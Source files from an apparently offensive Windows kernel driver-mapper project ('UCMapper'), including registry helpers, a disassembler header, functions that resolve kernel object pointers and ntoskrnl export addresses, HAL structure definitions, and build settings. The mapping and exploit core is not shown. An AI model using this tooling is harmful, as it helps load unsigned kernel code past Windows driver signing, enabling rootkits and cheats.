62 | NULL); 63 | 64 | Status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &ObjectAttributes); 65 | 66 | if NT_SUCCESS (Status) { 67 | RtlInitUnicodeString(&UnicodeString, Valuename); 68 | PartialInformationSize = sizeof(KEY_VALUE_PARTIAL_INFORMATION) + BufferLength - 1; 69 | PartialInformation = RtlAllocateMemory(PartialInformationSize); 70 | 71 | Status = NtQueryValueKey( 72 | RegistryHandle, 73 | &UnicodeString, 74 | KeyValuePartialInformation, 75 | PartialInformation, 76 | PartialInformationSize, 77 | &ResultLength); 78 | 79 | if NT_SUCCESS (Status) 80 | RtlCopyMemory(Buffer, PartialInformation->Data, PartialInformation->DataLength); 81 | 82 | RtlFreeMemory(PartialInformation); 83 | NtClose(RegistryHandle); 84 | } 85 | 86 | return Status; 87 | } 88 | 89 | NTSTATUS RtlRegDeleteKey(_In_ LPCWSTR RegistryPath) 90 | { 91 | HANDLE RegistryHandle; 92 | UNICODE_STRING unicodeString; 93 | NTSTATUS status; 94 | 95 | RtlInitUnicodeString(&unicodeString, RegistryPath); 96 | OBJECT_ATTRIBUTES objectAttributes 97 | = RTL_CONSTANT_OBJECT_ATTRIBUTES(&unicodeString, OBJ_CASE_INSENSITIVE); 98 | 99 | status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &objectAttributes); 100 | if NT_SUCCESS (status) { 101 | status = NtDeleteKey(RegistryHandle); 102 | NtClose(RegistryHandle); 103 | } 104 | 105 | return status; 106 | } 107 | -------------------------------------------------------------------------------- /UCMapper/hde64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde64.h: C/C++ header file 7 | * 8 | */ 9 | 10 | #ifndef _HDE64_H_ 11 | #define _HDE64_H_ 12 | 13 | /* stdint.h - C99 standard header 14 | * http://en.wikipedia.org/wiki/stdint.h 15 | * 16 | * if your compiler doesn't contain "stdint.h" header (for 17 | * example, Microsoft Visual C++), you can download file: 18 | * http://www.azillionmonkeys.com/qed/pstdint.h 19 | * and change next line to: 20 | * #include "pstdint.h" 21 | */ 22 | 23 | #define F_MODRM 0x00000001 24 | #define F_SIB 0x00000002 25 | #define F_IMM8 0x00000004 26 | #define F_IMM16 0x00000008 27 | #define F_IMM32 0x00000010 28 | #define F_IMM64 0x00000020 29 | #define F_DISP8 0x00000040 30 | #define F_DISP16 0x00000080 31 | #define F_DISP32 0x00000100 32 | #define F_RELATIVE 0x00000200 33 | #define F_ERROR 0x00001000 34 | #define F_ERROR_OPCODE 0x00002000 35 | #define F_ERROR_LENGTH 0x00004000 36 | #define F_ERROR_LOCK 0x00008000 37 | #define F_ERROR_OPERAND 0x00010000 38 | #define F_PREFIX_REPNZ 0x01000000 39 | #define F_PREFIX_REPX 0x02000000 40 | #define F_PREFIX_REP 0x03000000 41 | #define F_PREFIX_66 0x04000000 42 | #define F_PREFIX_67 0x08000000 43 | #define F_PREFIX_LOCK 0x10000000 44 | #define F_PREFIX_SEG 0x20000000 45 | #define F_PREFIX_REX 0x40000000 46 | #define F_PREFIX_ANY 0x7f000000 47 | 48 | #define PREFIX_SEGMENT_CS 0x2e 49 | #define PREFIX_SEGMENT_SS 0x36 50 | #define PREFIX_SEGMENT_DS 0x3e 51 | #define PREFIX_SEGMENT_ES 0x26 52 | #define PREFIX_SEGMENT_FS 0x64 53 | #define PREFIX_SEGMENT_GS 0x65 54 | #define PREFIX_LOCK 0xf0 55 | #define PREFIX_REPNZ 0xf2 56 | #define PREFIX_REPX 0xf3 57 | #define PREFIX_OPERAND_SIZE 0x66 58 | #define PREFIX_ADDRESS_SIZE 0x67 59 | 60 | #pragma pack(push, 1) 61 | 62 | typedef struct 63 | { 64 | UCHAR len; 65 | UCHAR p_rep; 66 | UCHAR p_lock; 67 | UCHAR p_seg; 68 | UCHAR p_66; 69 | UCHAR p_67; 70 | UCHAR rex; 71 | UCHAR rex_w; 72 | UCHAR rex_r; 73 | UCHAR rex_x; 74 | UCHAR rex_b; 75 | UCHAR opcode; 76 | UCHAR opcode2; 77 | UCHAR modrm; 78 | UCHAR modrm_mod; 79 | UCHAR modrm_reg; 80 | UCHAR modrm_rm; 81 | UCHAR sib; 82 | UCHAR sib_scale; 83 | UCHAR sib_index; 84 | UCHAR sib_base; 85 | 86 | union 87 | { 88 | UCHAR imm8; 89 | USHORT imm16; 90 | ULONG imm32; 91 | ULONGLONG imm64; 92 | } imm; 93 | 94 | union 95 | { 96 | UCHAR disp8; 97 | USHORT disp16; 98 | ULONG disp32; 99 | } disp; 100 | 101 | ULONG flags; 102 | } hde64s; 103 | 104 | #pragma pack(pop) 105 | 106 | #ifdef __cplusplus 107 | extern "C" { 108 | #endif 109 | 110 | unsigned int hde64_disasm(const void* code, hde64s* hs); 111 | 112 | FORCEINLINE SIZE_T GetProcedureSize(PVOID Procedure) 113 | { 114 | hde64s hde; 115 | SIZE_T c; 116 | 117 | c = 0; 118 | 119 | RtlZeroMemory(&hde, sizeof(hde)); 120 | while (hde.opcode != 0xC3 && hde.opcode != 0xCC) { 121 | hde64_disasm((PVOID)((PCHAR)Procedure + c), &hde); 122 | if (hde.flags & F_ERROR) 123 | break; 124 | c += hde.len; 125 | } 126 | 127 | return c; 128 | } 129 | 130 | #ifdef __cplusplus 131 | } 132 | #endif 133 | 134 | #endif /* _HDE64_H_ */ 135 | -------------------------------------------------------------------------------- /UCMapper/UCMapper.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | Source Files 44 | 45 | 46 | Source Files 47 | 48 | 49 | Source Files 50 | 51 | 52 | Source Files 53 | 54 | 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | Header Files 76 | 77 | 78 | Header Files 79 | 80 | 81 | Header Files 82 | 83 | 84 | Header Files 85 | 86 | 87 | Header Files 88 | 89 | 90 | Header Files 91 | 92 | 93 | Header Files 94 | 95 | 96 | 97 | 98 | Resource Files 99 | 100 | 101 | -------------------------------------------------------------------------------- /UCMapper/UCMapper.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | x64 7 | 8 | 9 | 10 | 17.0 11 | Win32Proj 12 | {88fb186e-9662-4db3-bbb1-e12a23522ea3} 13 | UCMapper 14 | 10.0 15 | 16 | 17 | 18 | Application 19 | false 20 | v143 21 | true 22 | Unicode 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | Level4 36 | true 37 | true 38 | false 39 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 40 | true 41 | false 42 | MinSpace 43 | AnySuitable 44 | Size 45 | false 46 | MultiThreaded 47 | 48 | 49 | Windows 50 | true 51 | true 52 | true 53 | AsInvoker 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /UCMapper/routine.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | NTSTATUS ObGetObjectByHandle(_In_ HANDLE Handle, _Out_ PULONGLONG Pointer) 4 | { 5 | PSYSTEM_HANDLE_INFORMATION_EX SystemHandleInfo; 6 | ULONG i; 7 | ULONG BufferLength = 0; 8 | PVOID Buffer = NULL; 9 | NTSTATUS Status; 10 | 11 | *Pointer = 0; 12 | BufferLength = sizeof(PVOID); 13 | Buffer = RtlAllocateMemory(BufferLength); 14 | Status = STATUS_INFO_LENGTH_MISMATCH; 15 | 16 | while (Status != STATUS_SUCCESS) { 17 | Status = NtQuerySystemInformation( 18 | SystemExtendedHandleInformation, 19 | Buffer, 20 | BufferLength, 21 | &BufferLength); 22 | 23 | if (Status == STATUS_INFO_LENGTH_MISMATCH) { 24 | RtlFreeMemory(Buffer); 25 | Buffer = RtlAllocateMemory(BufferLength); 26 | } 27 | } 28 | 29 | Status = STATUS_NOT_FOUND; 30 | SystemHandleInfo = Buffer; 31 | for (i = 0; i < SystemHandleInfo->NumberOfHandles; ++i) { 32 | if (SystemHandleInfo->Handles[i].UniqueProcessId 33 | == (ULONGLONG)NtCurrentTeb()->ClientId.UniqueProcess 34 | && SystemHandleInfo->Handles[i].HandleValue == (ULONGLONG)Handle) { 35 | *Pointer = (ULONGLONG)SystemHandleInfo->Handles[i].Object; 36 | Status = STATUS_SUCCESS; 37 | break; 38 | } 39 | } 40 | 41 | RtlFreeMemory(Buffer); 42 | return Status; 43 | } 44 | 45 | NTSTATUS MmGetSystemModuleA( 46 | _In_ LPCSTR ModuleName, 47 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation) 48 | { 49 | NTSTATUS Status; 50 | ULONG BufferLength; 51 | PRTL_PROCESS_MODULES ModuleList; 52 | PCHAR BaseModuleName; 53 | ANSI_STRING ModuleNameA; 54 | ANSI_STRING BaseModuleNameA; 55 | 56 | RtlSecureZeroMemory(ModuleInformation, sizeof(RTL_PROCESS_MODULE_INFORMATION)); 57 | BufferLength = sizeof(PVOID); 58 | ModuleList = RtlAllocateMemory(BufferLength); 59 | Status = STATUS_INFO_LENGTH_MISMATCH; 60 | 61 | while (Status != STATUS_SUCCESS) { 62 | Status = NtQuerySystemInformation( 63 | SystemModuleInformation, 64 | ModuleList, 65 | BufferLength, 66 | &BufferLength); 67 | 68 | if (Status == STATUS_INFO_LENGTH_MISMATCH) { 69 | RtlFreeMemory(ModuleList); 70 | ModuleList = RtlAllocateMemory(BufferLength); 71 | } 72 | } 73 | 74 | Status = STATUS_DLL_NOT_FOUND; 75 | RtlInitString(&ModuleNameA, ModuleName); 76 | for (ULONG i = 0; i < ModuleList->NumberOfModules; i++) { 77 | BaseModuleName = RtlOffsetToPointer( 78 | ModuleList->Modules[i].FullPathName, 79 | ModuleList->Modules[i].OffsetToFileName); 80 | 81 | RtlInitString(&BaseModuleNameA, BaseModuleName); 82 | if (RtlEqualString(&BaseModuleNameA, &ModuleNameA, TRUE) == TRUE) { 83 | *ModuleInformation = ModuleList->Modules[i]; 84 | Status = STATUS_SUCCESS; 85 | break; 86 | } 87 | } 88 | 89 | if (ModuleList) { 90 | RtlFreeMemory(ModuleList); 91 | ModuleList = NULL; 92 | } 93 | 94 | return Status; 95 | } 96 | 97 | NTSTATUS MmGetSystemModuleW( 98 | _In_ LPCWSTR ModuleName, 99 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation) 100 | { 101 | ANSI_STRING AnsiString; 102 | UNICODE_STRING UnicodeString; 103 | NTSTATUS Status; 104 | 105 | RtlInitUnicodeString(&UnicodeString, ModuleName); 106 | Status = RtlUnicodeStringToAnsiString(&AnsiString, &UnicodeString, TRUE); 107 | 108 | if NT_SUCCESS (Status) { 109 | Status = MmGetSystemModuleA(AnsiString.Buffer, ModuleInformation); 110 | RtlFreeAnsiString(&AnsiString); 111 | } 112 | 113 | return Status; 114 | } 115 | 116 | NTSTATUS MmGetSystemRoutineAddressA(_In_ LPCSTR RoutineName, _Out_ PULONGLONG Pointer) 117 | { 118 | NTSTATUS Status; 119 | UNICODE_STRING UnicodeString; 120 | ULONGLONG ImageBase; 121 | ULONGLONG Address; 122 | RTL_PROCESS_MODULE_INFORMATION ModuleInformation; 123 | WCHAR v1[] = {L'n', L't', L'o', L's', L'k', L'r', L'n', L'l', L'.', L'e', L'x', L'e', L'\0'}; 124 | 125 | *Pointer = 0; 126 | Status = MmGetSystemModuleW(v1, &ModuleInformation); 127 | if NT_ERROR (Status) { 128 | DEBUG_PRINT_NTSTATUS(Status); 129 | return Status; 130 | } 131 | 132 | RtlInitUnicodeString(&UnicodeString, v1); 133 | Status = LdrLoadDll(NULL, NULL, &UnicodeString, (PVOID*)&ImageBase); 134 | if NT_ERROR (Status) { 135 | DEBUG_PRINT_NTSTATUS(Status); 136 | return Status; 137 | } 138 | 139 | Status = STATUS_PROCEDURE_NOT_FOUND; 140 | Address = (ULONGLONG)RtlFindExportedRoutineByName((PVOID)ImageBase, (PSTR)RoutineName); 141 | LdrUnloadDll((PVOID)ImageBase); 142 | 143 | if (Address != 0) { 144 | Address -= ImageBase; 145 | Address += (ULONGLONG)ModuleInformation.ImageBase; 146 | *Pointer = Address; 147 | Status = STATUS_SUCCESS; 148 | } 149 | 150 | return Status; 151 | } 152 | 153 | NTSTATUS MmGetSystemRoutineAddressW(_In_ LPCWSTR ModuleName, _Out_ PULONGLONG Pointer) 154 | { 155 | ANSI_STRING AnsiString; 156 | UNICODE_STRING UnicodeString; 157 | NTSTATUS Status; 158 | 159 | RtlInitUnicodeString(&UnicodeString, ModuleName); 160 | Status = RtlUnicodeStringToAnsiString(&AnsiString, &UnicodeString, TRUE); 161 | 162 | if NT_SUCCESS (Status) { 163 | Status = MmGetSystemRoutineAddressA(AnsiString.Buffer, Pointer); 164 | RtlFreeAnsiString(&AnsiString); 165 | } 166 | 167 | return Status; 168 | } 169 | -------------------------------------------------------------------------------- /UCMapper/halamd64.h: -------------------------------------------------------------------------------- 1 | /************************************************************************************ 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2014 - 2020 4 | * Taken from publicly available Microsoft sources or mentioned elsewhere. 5 | * 6 | * TITLE: HALAMD64.H 7 | * 8 | * VERSION: 1.11 9 | * 10 | * DATE: 12 Feb 2020 11 | * 12 | * Common header file for the ntos HAL AMD64 definitions. 13 | * 14 | * Depends on: Windows.h 15 | * 16 | * Include: Windows.h 17 | * 18 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 19 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 20 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 21 | * PARTICULAR PURPOSE. 22 | * 23 | ************************************************************************************/ 24 | 25 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 26 | #pragma once 27 | #endif 28 | 29 | #ifndef HALAMD64_RTL 30 | #define HALAMD64_RTL 31 | 32 | #pragma warning(push) 33 | #pragma warning(disable : 4214) 34 | #pragma warning(disable : 4201) 35 | 36 | // 37 | // HALAMD64_RTL HEADER BEGIN 38 | // 39 | 40 | #pragma pack(push, 2) 41 | 42 | typedef struct _FAR_JMP_16 43 | { 44 | UCHAR OpCode; // = 0xe9 45 | USHORT Offset; 46 | } FAR_JMP_16; 47 | 48 | typedef struct _FAR_TARGET_32 49 | { 50 | ULONG Offset; 51 | USHORT Selector; 52 | } FAR_TARGET_32; 53 | 54 | typedef struct _PSEUDO_DESCRIPTOR_32 55 | { 56 | USHORT Limit; 57 | ULONG Base; 58 | } PSEUDO_DESCRIPTOR_32; 59 | 60 | #pragma pack(pop) 61 | 62 | typedef union _KGDTENTRY64 63 | { 64 | struct 65 | { 66 | USHORT LimitLow; 67 | USHORT BaseLow; 68 | 69 | union 70 | { 71 | struct 72 | { 73 | UCHAR BaseMiddle; 74 | UCHAR Flags1; 75 | UCHAR Flags2; 76 | UCHAR BaseHigh; 77 | } Bytes; 78 | 79 | struct 80 | { 81 | ULONG BaseMiddle : 8; 82 | ULONG Type : 5; 83 | ULONG Dpl : 2; 84 | ULONG Present : 1; 85 | ULONG LimitHigh : 4; 86 | ULONG System : 1; 87 | ULONG LongMode : 1; 88 | ULONG DefaultBig : 1; 89 | ULONG Granularity : 1; 90 | ULONG BaseHigh : 8; 91 | } Bits; 92 | }; 93 | 94 | ULONG BaseUpper; 95 | ULONG MustBeZero; 96 | }; 97 | 98 | ULONGLONG Alignment; 99 | } KGDTENTRY64, *PKGDTENTRY64; 100 | 101 | typedef union _KIDTENTRY64 102 | { 103 | struct 104 | { 105 | USHORT OffsetLow; 106 | USHORT Selector; 107 | USHORT IstIndex : 3; 108 | USHORT Reserved0 : 5; 109 | USHORT Type : 5; 110 | USHORT Dpl : 2; 111 | USHORT Present : 1; 112 | USHORT OffsetMiddle; 113 | ULONG OffsetHigh; 114 | ULONG Reserved1; 115 | }; 116 | 117 | ULONGLONG Alignment; 118 | } KIDTENTRY64, *PKIDTENTRY64; 119 | 120 | typedef union _KGDT_BASE 121 | { 122 | struct 123 | { 124 | USHORT BaseLow; 125 | UCHAR BaseMiddle; 126 | UCHAR BaseHigh; 127 | ULONG BaseUpper; 128 | }; 129 | 130 | ULONGLONG Base; 131 | } KGDT_BASE, *PKGDT_BASE; 132 | 133 | typedef union _KGDT_LIMIT 134 | { 135 | struct 136 | { 137 | USHORT LimitLow; 138 | USHORT LimitHigh : 4; 139 | USHORT MustBeZero : 12; 140 | }; 141 | 142 | ULONG Limit; 143 | } KGDT_LIMIT, *PKGDT_LIMIT; 144 | 145 | #define PSB_GDT32_MAX 3 146 | 147 | typedef struct _KDESCRIPTOR 148 | { 149 | USHORT Pad[3]; 150 | USHORT Limit; 151 | PVOID Base; 152 | } KDESCRIPTOR, *PKDESCRIPTOR; 153 | 154 | typedef struct _KDESCRIPTOR32 155 | { 156 | USHORT Pad[3]; 157 | USHORT Limit; 158 | ULONG Base; 159 | } KDESCRIPTOR32, *PKDESCRIPTOR32; 160 | 161 | typedef struct _KSPECIAL_REGISTERS 162 | { 163 | ULONGLONG Cr0; 164 | ULONGLONG Cr2; 165 | ULONGLONG Cr3; 166 | ULONGLONG Cr4; 167 | ULONGLONG KernelDr0; 168 | ULONGLONG KernelDr1; 169 | ULONGLONG KernelDr2; 170 | ULONGLONG KernelDr3; 171 | ULONGLONG KernelDr6; 172 | ULONGLONG KernelDr7; 173 | KDESCRIPTOR Gdtr; 174 | KDESCRIPTOR Idtr; 175 | USHORT Tr; 176 | USHORT Ldtr; 177 | ULONG MxCsr; 178 | ULONGLONG DebugControl; 179 | ULONGLONG LastBranchToRip; 180 | ULONGLONG LastBranchFromRip; 181 | ULONGLONG LastExceptionToRip; 182 | ULONGLONG LastExceptionFromRip; 183 | ULONGLONG Cr8; 184 | ULONGLONG MsrGsBase; 185 | ULONGLONG MsrGsSwap; 186 | ULONGLONG MsrStar; 187 | ULONGLONG MsrLStar; 188 | ULONGLONG MsrCStar; 189 | ULONGLONG MsrSyscallMask; 190 | } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS; 191 | 192 | typedef struct _KPROCESSOR_STATE 193 | { 194 | KSPECIAL_REGISTERS SpecialRegisters; 195 | CONTEXT ContextFrame; 196 | } KPROCESSOR_STATE, *PKPROCESSOR_STATE; 197 | 198 | typedef struct _PROCESSOR_START_BLOCK* PPROCESSOR_START_BLOCK; 199 | 200 | typedef struct _PROCESSOR_START_BLOCK 201 | { 202 | // 203 | // The block starts with a jmp instruction to the end of the block 204 | // 205 | 206 | FAR_JMP_16 Jmp; 207 | 208 | // 209 | // Completion flag is set to non-zero when the target processor has 210 | // started 211 | // 212 | 213 | ULONG CompletionFlag; 214 | 215 | // 216 | // Pseudo descriptors for GDT and IDT. 217 | // 218 | 219 | PSEUDO_DESCRIPTOR_32 Gdt32; 220 | PSEUDO_DESCRIPTOR_32 Idt32; 221 | 222 | // 223 | // The temporary 32-bit GDT itself resides here. 224 | // 225 | 226 | KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1]; 227 | 228 | // 229 | // Physical address of the 64-bit top-level identity-mapped page table. 230 | // 231 | 232 | ULONGLONG TiledCr3; 233 | 234 | // 235 | // Far jump target from Rm to Pm code 236 | // 237 | 238 | FAR_TARGET_32 PmTarget; 239 | 240 | // 241 | // Far jump target from Pm to Lm code 242 | // 243 | 244 | FAR_TARGET_32 LmIdentityTarget; 245 | 246 | // 247 | // Address of LmTarget 248 | // 249 | 250 | PVOID LmTarget; 251 | 252 | // 253 | // Linear address of this structure 254 | // 255 | 256 | PPROCESSOR_START_BLOCK SelfMap; 257 | 258 | // 259 | // Contents of the PAT msr 260 | // 261 | 262 | ULONGLONG MsrPat; 263 | 264 | // 265 | // Contents of the EFER msr 266 | // 267 | 268 | ULONGLONG MsrEFER; 269 | 270 | // 271 | // Initial processor state for the processor to be started 272 | // 273 | 274 | KPROCESSOR_STATE ProcessorState; 275 | 276 | } PROCESSOR_START_BLOCK; 277 | 278 | #pragma warning(pop) 279 | 280 | // 281 | // HALAMD64_RTL HEADER END 282 | // 283 | 284 | #endif HALAMD64_RTL 285 | -------------------------------------------------------------------------------- /UCMapper/main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #pragma warning(disable : 4995 4201) 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | 9 | #define UMDF_USING_NTSTATUS 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "halamd64.h" 15 | #include "ntdll.h" 16 | 17 | #include "driver.h" 18 | #include "routine.h" 19 | #include "hook.h" 20 | #include "hde64.h" 21 | #include "registry.h" 22 | #include "filerw.h" 23 | #include "driverlist.h" 24 | #include "kernel.h" 25 | #include "mapper.h" 26 | 27 | #include "resource.h" 28 | #pragma comment( \ 29 | linker, \ 30 | "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") 31 | 32 | 33 | #pragma intrinsic(memcpy) 34 | #pragma intrinsic(memset) 35 | 36 | #ifndef DISABLE_OUTPUT 37 | #define DEBUG_PRINT(Format, ...) DebugPrint(L##Format L"\r\n", __VA_ARGS__) 38 | #define DEBUG_PRINT_NTSTATUS(Status) \ 39 | { \ 40 | PVOID Message; \ 41 | \ 42 | FormatMessageW( \ 43 | (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM \ 44 | | FORMAT_MESSAGE_IGNORE_INSERTS), \ 45 | NULL, \ 46 | RtlNtStatusToDosError(Status), \ 47 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), \ 48 | (LPWSTR) & Message, \ 49 | 0, \ 50 | NULL); \ 51 | \ 52 | if NT_SUCCESS (Status) { \ 53 | DEBUG_PRINT( \ 54 | "[+] Succeed on %hs[%u]:\r\n\tDescription: %ws\tFile: %hs", \ 55 | __FUNCTION__, \ 56 | __LINE__, \ 57 | (LPWSTR)Message, \ 58 | __FILE__); \ 59 | } else { \ 60 | DEBUG_PRINT( \ 61 | "[!] Error on %hs[%u]:\r\n\tDescription: %ws\tFile: %hs", \ 62 | __FUNCTION__, \ 63 | __LINE__, \ 64 | (LPWSTR)Message, \ 65 | __FILE__); \ 66 | } \ 67 | LocalFree(Message); \ 68 | } 69 | #define MSG_BOX(Format, ...) MsgBoxFormat(L##Format, __VA_ARGS__) 70 | 71 | #else 72 | #define DEBUG_PRINT(Format, ...) 73 | #define DEBUG_PRINT_NTSTATUS(Status) 74 | #endif 75 | 76 | static VOID DebugPrint(LPCWSTR Format, ...) 77 | { 78 | UNICODE_STRING UnicodeString; 79 | LPWSTR Storage; 80 | ULONG NumberOfWritten; 81 | HANDLE StandardHandle; 82 | CONSOLE_SCREEN_BUFFER_INFO ScreenInformation; 83 | USHORT PrevAttr, NewAttr; 84 | HRESULT hr; 85 | CONSOLE_FONT_INFOEX FontInformation; 86 | 87 | Storage = RtlAllocateMemory(PAGE_SIZE); 88 | StandardHandle = GetStdHandle(STD_OUTPUT_HANDLE); 89 | PrevAttr = 0; 90 | NewAttr = 0; 91 | 92 | if (GetConsoleScreenBufferInfo(StandardHandle, &ScreenInformation)) { 93 | PrevAttr = *(&ScreenInformation.wAttributes); 94 | } 95 | 96 | FontInformation.cbSize = sizeof(CONSOLE_FONT_INFOEX); 97 | 98 | // Populate cfi with the screen buffer's current font info 99 | if (GetCurrentConsoleFontEx(StandardHandle, FALSE, &FontInformation) 100 | && FontInformation.FontWeight != 700) { 101 | // Modify the font size in cfi 102 | //FontInformation.dwFontSize.X = 12; 103 | //FontInformation.dwFontSize.Y = 24; 104 | FontInformation.FontWeight = 700; 105 | //StringCchCopyW(FontInformation.FaceName, RTL_NUMBER_OF(FontInformation.FaceName), L"Cascadia Mono"); 106 | // Use cfi to set the screen buffer's new font 107 | SetCurrentConsoleFontEx(StandardHandle, FALSE, &FontInformation); 108 | 109 | //ScreenInformation.dwMaximumWindowSize.X = 400; 110 | //ScreenInformation.dwMaximumWindowSize.Y = 400; 111 | //ScreenInformation.dwSize.X = 400; 112 | //ScreenInformation.dwSize.Y = 400; 113 | //SetConsoleScreenBufferInfoEx(StandardHandle, &ScreenInformation); 114 | //SetConsoleScreenBufferSize(StandardHandle, ScreenInformation.dwMaximumWindowSize); 115 | } 116 | 117 | va_list argList; 118 | va_start(argList, Format); 119 | hr = StringVPrintfWorkerW(Storage, PAGE_SIZE / sizeof(WCHAR), NULL, Format, argList); 120 | va_end(argList); 121 | 122 | if SUCCEEDED (hr) { 123 | RtlInitUnicodeString(&UnicodeString, Storage); 124 | 125 | switch (UnicodeString.Buffer[1]) { 126 | case L'i': 127 | case L'+': 128 | NewAttr = FOREGROUND_GREEN; 129 | break; 130 | 131 | case L'-': 132 | case L'!': 133 | NewAttr = FOREGROUND_RED; 134 | break; 135 | 136 | default: 137 | NewAttr = PrevAttr; 138 | break; 139 | } 140 | 141 | SetConsoleTextAttribute(StandardHandle, NewAttr); 142 | 143 | WriteConsoleW( 144 | StandardHandle, 145 | UnicodeString.Buffer, 146 | UnicodeString.Length / sizeof(WCHAR), 147 | &NumberOfWritten, 148 | NULL); 149 | 150 | SetConsoleTextAttribute(StandardHandle, PrevAttr); 151 | } 152 | 153 | RtlFreeMemory(Storage); 154 | } 155 | 156 | static VOID MsgBoxFormat(LPCWSTR Message, ...) 157 | { 158 | WCHAR Storage[MAX_PATH]; 159 | 160 | va_list argList; 161 | va_start(argList, Message); 162 | StringVPrintfWorkerW(Storage, MAX_PATH, NULL, Message, argList); 163 | va_end(argList); 164 | 165 | MessageBox(GetForegroundWindow(), Storage, NULL, MB_OK | MB_TOPMOST); 166 | } 167 | 168 | #ifdef __cplusplus 169 | } 170 | #endif 171 | -------------------------------------------------------------------------------- /.clang-format: -------------------------------------------------------------------------------- 1 | --- 2 | BasedOnStyle: Microsoft 3 | AccessModifierOffset: -2 4 | AlignAfterOpenBracket: AlwaysBreak 5 | AlignArrayOfStructures: Left 6 | AlignConsecutiveAssignments: 7 | Enabled: true 8 | AcrossEmptyLines: false 9 | AcrossComments: false 10 | AlignCompound: true 11 | PadOperators: true 12 | AlignConsecutiveBitFields: 13 | Enabled: true 14 | AcrossEmptyLines: true 15 | AcrossComments: true 16 | AlignCompound: true 17 | PadOperators: true 18 | AlignConsecutiveDeclarations: 19 | Enabled: false 20 | AcrossEmptyLines: true 21 | AcrossComments: true 22 | AlignCompound: true 23 | PadOperators: true 24 | AlignConsecutiveMacros: 25 | Enabled: true 26 | AcrossEmptyLines: true 27 | AcrossComments: true 28 | AlignCompound: true 29 | PadOperators: true 30 | AlignEscapedNewlines: Left 31 | AlignOperands: Align 32 | AlignTrailingComments: 33 | Kind: Always 34 | OverEmptyLines: 0 35 | AllowAllArgumentsOnNextLine: false 36 | AllowAllParametersOfDeclarationOnNextLine: false 37 | AllowShortBlocksOnASingleLine: Never 38 | AllowShortCaseLabelsOnASingleLine: false 39 | AllowShortEnumsOnASingleLine: false 40 | AllowShortFunctionsOnASingleLine: None 41 | AllowShortIfStatementsOnASingleLine: Never 42 | AllowShortLambdasOnASingleLine: None 43 | AllowShortLoopsOnASingleLine: false 44 | AlwaysBreakAfterDefinitionReturnType: None 45 | AlwaysBreakAfterReturnType: None 46 | AlwaysBreakBeforeMultilineStrings: false 47 | AlwaysBreakTemplateDeclarations: No 48 | AttributeMacros: 49 | - __capability 50 | BinPackArguments: false 51 | BinPackParameters: false 52 | BitFieldColonSpacing: Both 53 | BraceWrapping: 54 | AfterCaseLabel: false 55 | AfterClass: true 56 | AfterControlStatement: Never 57 | AfterEnum: true 58 | AfterFunction: true 59 | AfterNamespace: true 60 | AfterObjCDeclaration: false 61 | AfterStruct: true 62 | AfterUnion: true 63 | AfterExternBlock: false 64 | BeforeCatch: false 65 | BeforeElse: false 66 | BeforeLambdaBody: false 67 | BeforeWhile: false 68 | IndentBraces: false 69 | SplitEmptyFunction: false 70 | SplitEmptyRecord: false 71 | SplitEmptyNamespace: false 72 | BreakAfterAttributes: Never 73 | BreakAfterJavaFieldAnnotations: false 74 | BreakArrays: false 75 | BreakBeforeBinaryOperators: All 76 | BreakBeforeBraces: Custom 77 | BreakBeforeConceptDeclarations: Never 78 | BreakBeforeInlineASMColon: OnlyMultiline 79 | BreakBeforeTernaryOperators: false 80 | BreakConstructorInitializers: BeforeComma 81 | BreakInheritanceList: BeforeComma 82 | BreakStringLiterals: true 83 | ColumnLimit: 100 84 